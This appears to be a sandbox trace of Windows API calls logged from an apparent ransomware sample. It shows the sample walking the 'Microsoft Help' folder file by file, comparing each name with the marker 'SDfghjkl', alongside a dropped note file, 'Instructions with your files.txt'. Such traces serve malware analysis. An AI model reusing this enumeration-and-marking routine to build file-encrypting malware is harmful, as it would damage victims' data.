[0131.976] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.976] CloseHandle (hObject=0x10c) returned 1
[0131.976] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.976] GetProcessHeap () returned 0x810000
[0131.976] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.976] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb41fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb41fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
[0131.976] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help") returned 37
[0131.976] GetProcessHeap () returned 0x810000
[0131.976] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.976] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\*") returned 39
[0131.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb41fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb41fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.977] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\.") returned 39
[0131.977] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb41fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb41fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.977] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\..") returned 40
[0131.977] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1
[0131.977] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\Hx.hxn") returned 44
[0131.977] StrStrIW (lpFirst="Hx.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.977] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb41fa8a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb41fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb41fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.977] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\Instructions with your files.txt") returned 70
[0131.977] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.977] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1
[0131.977] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned 58
[0131.977] StrStrIW (lpFirst="MS.EXCEL.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.977] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn", cAlternateFileName="MSEXCE~2.HXN")) returned 1
[0131.977] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned 62
[0131.977] StrStrIW (lpFirst="MS.EXCEL.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.977] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1
[0131.977] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned 58
[0131.977] StrStrIW (lpFirst="MS.GRAPH.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.977] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1
[0131.977] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned 59
[0131.977] StrStrIW (lpFirst="MS.GROOVE.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.977] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="MSINFO~1.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 61
[0131.978] StrStrIW (lpFirst="MS.INFOPATH.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="MSINFO~2.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned 67
[0131.978] StrStrIW (lpFirst="MS.INFOPATHEDITOR.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned 61
[0131.978] StrStrIW (lpFirst="MS.MSACCESS.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="MSMSAC~2.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned 65
[0131.978] StrStrIW (lpFirst="MS.MSACCESS.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned 58
[0131.978] StrStrIW (lpFirst="MS.MSOUC.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned 58
[0131.978] StrStrIW (lpFirst="MS.MSPUB.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="MSMSPU~2.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned 62
[0131.978] StrStrIW (lpFirst="MS.MSPUB.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="MSMSTO~1.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned 59
[0131.978] StrStrIW (lpFirst="MS.MSTORE.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="MSOIS1~1.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn") returned 56
[0131.978] StrStrIW (lpFirst="MS.OIS.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned 60
[0131.978] StrStrIW (lpFirst="MS.ONENOTE.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1
[0131.978] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned 60
[0131.978] StrStrIW (lpFirst="MS.OUTLOOK.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.978] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="MSOUTL~2.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned 64
[0131.979] StrStrIW (lpFirst="MS.OUTLOOK.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned 61
[0131.979] StrStrIW (lpFirst="MS.POWERPNT.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="MSPOWE~2.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned 65
[0131.979] StrStrIW (lpFirst="MS.POWERPNT.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned 60
[0131.979] StrStrIW (lpFirst="MS.SETLANG.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned 58
[0131.979] StrStrIW (lpFirst="MS.VISIO.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned 62
[0131.979] StrStrIW (lpFirst="MS.VISIO.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn", cAlternateFileName="MSVISI~4.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned 69
[0131.979] StrStrIW (lpFirst="MS.VISIO.SHAPESHEET.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn", cAlternateFileName="MSE1C9~1.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned 62
[0131.979] StrStrIW (lpFirst="MS.VISIO_PRM.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn", cAlternateFileName="MSVISI~2.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned 62
[0131.979] StrStrIW (lpFirst="MS.VISIO_STD.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
